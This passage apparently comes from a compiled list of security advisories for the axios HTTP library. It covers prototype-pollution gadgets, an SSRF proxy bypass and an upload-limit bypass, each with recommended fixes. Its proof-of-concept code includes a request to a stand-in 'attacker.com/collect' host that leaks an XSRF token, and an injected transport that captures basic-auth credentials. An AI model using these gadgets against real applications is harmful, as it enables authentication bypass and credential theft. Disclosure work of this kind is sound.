Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash | ##### Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties. ##### Why `validateStatus` Is Uniquely Vulnerable All other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator: ```javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← `in` traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } // mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy }; ``` The `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct. ##### Proof of Concept ##### 1. The Setup (Simulated Pollution) ```javascript Object.prototype.validateStatus = () => true; ``` ##### 2. The Gadget Trigger (Safe Code) ```javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 } ``` ##### 3. The Execution ```javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true // settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! } ``` ##### 4. The Impact ``` Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage() After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data ``` ##### Verified PoC Output ``` --- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500 --- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503) --- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' } ``` ##### Impact Analysis - **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - **Universal Scope:** Affects every axios instance in the application, including third-party libraries. ##### Recommended Fix Replace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`: ```javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } } ``` ##### Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 4.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63](https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42041](https://nvd.nist.gov/vuln/detail/CVE-2026-42041) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w9j2-pvgh-6h63) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: no_proxy bypass via IP alias allows SSRF [CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038) / [GHSA-m7pr-hjqh-92cm](https://github.com/advisories/GHSA-m7pr-hjqh-92cm) <details> <summary>More information</summary> #### Details The fix for no_proxy hostname normalization bypass (#​10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - no_proxy=localhost does NOT block 127.0.0.1 or [::1] - no_proxy=127.0.0.1 does NOT block localhost or [::1] POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888'; ```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ``` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent. #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm](https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m7pr-hjqh-92cm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0 [CVE-2026-42034](https://nvd.nist.gov/vuln/detail/CVE-2026-42034) / [GHSA-5c9x-8gcm-mpgx](https://github.com/advisories/GHSA-5c9x-8gcm-mpgx) <details> <summary>More information</summary> #### Details ##### Summary For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits. ##### Details Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting. This creates a path-specific bypass for streamed uploads. ### PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0 Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0 Observed: - Request succeeds; server reports received: 2097152. Control checks: - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST. ### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx](https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42034](https://nvd.nist.gov/vuln/detail/CVE-2026-42034) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5c9x-8gcm-mpgx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion [CVE-2026-42042](https://nvd.nist.gov/vuln/detail/CVE-2026-42042) / [GHSA-xx6v-rp6x-q39c](https://github.com/advisories/GHSA-xx6v-rp6x-q39c) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion ##### Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker. **Severity:** Medium (CVSS 5.4) **Affected Versions:** All versions since `withXSRFToken` was introduced **Vulnerable Component:** `lib/helpers/resolveConfig.js:59` **Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true) ##### CWE - **CWE-201:** Insertion of Sensitive Information Into Sent Data - **CWE-183:** Permissive List of Allowed Inputs ##### CVSS 3.1 **Score: 5.4 (Medium)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | ##### Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input** when triggered via prototype pollution. If an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `"true"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. ##### Vulnerable Code **File:** `lib/helpers/resolveConfig.js`, lines 57-66 ```javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ``` **Designed behavior:** - `true` → always send token (explicit cross-origin opt-in) - `false` → never send token - `undefined` → send only for same-origin requests **Actual behavior for non-boolean truthy values (`1`, `"false"`, `{}`, `[]`):** - All treated as truthy → same-origin check skipped → token sent everywhere ##### Proof of Concept ```javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ``` ##### Verified PoC Output ``` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ``` ##### Impact Analysis - **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application - **Misconfiguration Risk:** Developer writing `withXSRFToken: "false"` (string) instead of `false` (boolean) triggers the same issue without PP **Limitations:** - Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token ##### Recommended Fix Use strict boolean comparison: ```javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ``` ##### Resources - [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html) - [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c](https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42042](https://nvd.nist.gov/vuln/detail/CVE-2026-42042) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xx6v-rp6x-q39c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Header Injection via Prototype Pollution [CVE-2026-42035](https://nvd.nist.gov/vuln/detail/CVE-2026-42035) / [GHSA-6chq-wfr3-2hj9](https://github.com/advisories/GHSA-6chq-wfr3-2hj9) <details> <summary>More information</summary> #### Details ##### Summary A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget. Prerequisites: A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH). ##### Details The vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline: ```javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... } ``` Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution: **1. `utils.isFormData(data)` — `lib/utils.js`** ```javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) } ``` **2. `utils.isFunction(data.getHeaders)` — Duck-type for `form-data` npm package** ```javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders) ``` ##### PoC ```javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; }; // Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } } ); ``` ##### Impact - Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H) **Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here. ##### Recommended Fix Add an explicit own-property check in `lib/adapters/http.js`: ```diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders()); ``` #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9](https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42035](https://nvd.nist.gov/vuln/detail/CVE-2026-42035) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking [CVE-2026-42033](https://nvd.nist.gov/vuln/detail/CVE-2026-42033) / [GHSA-pf86-5x62-jrwf](https://github.com/advisories/GHSA-pf86-5x62-jrwf) <details> <summary>More information</summary> #### Details ##### Summary When `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently. --- ##### Background: how mergeConfig builds the config object Every axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76): ```js config = mergeConfig(this.defaults, config); ``` Inside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)): ```js const config = {}; ``` A plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below. --- ##### Gadget 1: parseReviver -- response tampering and exfiltration **Introduced in:** v1.12.0 (commit 2a97634, PR #​5926) **Affected range:** >= 1.12.0, <= 1.13.6 ##### Root cause The default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124): ```js return JSON.parse(data, this.parseReviver); ``` `this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain. The call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets: ```js forcedJSONParsing: true, ``` which activates the JSON parse path unconditionally when `responseType` is unset. `JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values. There is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does. ##### Verification: own-property check ```js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default; const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution) Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver; ``` ##### Proof of concept Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency. **Terminal 1 -- server (`server_gadget1.mjs`):** ```js import http from 'http'; const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' })); }); server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); }); ``` ``` $ node server_gadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET / ``` **Terminal 2 -- client (`poc_parsereviver.mjs`):** ```js import axios from 'axios'; // Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; }; const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data)); delete Object.prototype.parseReviver; ``` ``` $ node poc_parsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tok_real_abc" [app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"} ``` The server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced. --- ##### Gadget 2: transport -- full HTTP request hijacking with credentials **Introduced in:** early adapter refactor, present across 0.x and 1.x **Affected range:** >= 0.19.0, <= 1.13.6 (Node.js http adapter only) ##### Root cause Inside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676): ```js if (config.transport) { transport = config.transport; } ``` `transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)): ```js transport: defaultToConfig2, ``` but it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`. The fix in v1.13.5 (PR #​7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this. The transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains: - `options.hostname`, `options.port`, `options.path` -- full target URL - `options.auth` -- basic auth credentials in `"username:password"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606)) - `options.headers` -- all request headers as a plain object ##### Proof of concept Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution. **Terminal 1 -- server (`server_gadget2.mjs`):** ```js import http from 'http'; const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); }); server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); }); ``` ``` $ node server_gadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg== ``` **Terminal 2 -- client (`poc_transport.mjs`):** ```js import axios from 'axios'; import http from 'http'; Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, }; const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svc_account', password: 'hunter2' }, }); console.log('[app] response status:', res.status); delete Object.prototype.transport; ``` ``` $ node poc_transport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svc_account:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200 ``` The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective. --- ##### Additional gadget: transformRequest / transformResponse Separately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2["transformRequest"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker's function. This one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config's own keys, and `schema["transformRequest"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call). Both `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6. --- ##### Why the existing fix does not cover these PR #​7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{"__proto__": {"x": 1}}` as the config object, which caused `mergeMap['__proto__']` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`. That fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6. --- ##### Suggested fixes For `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)): ```js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` For `mergeConfig` value reads 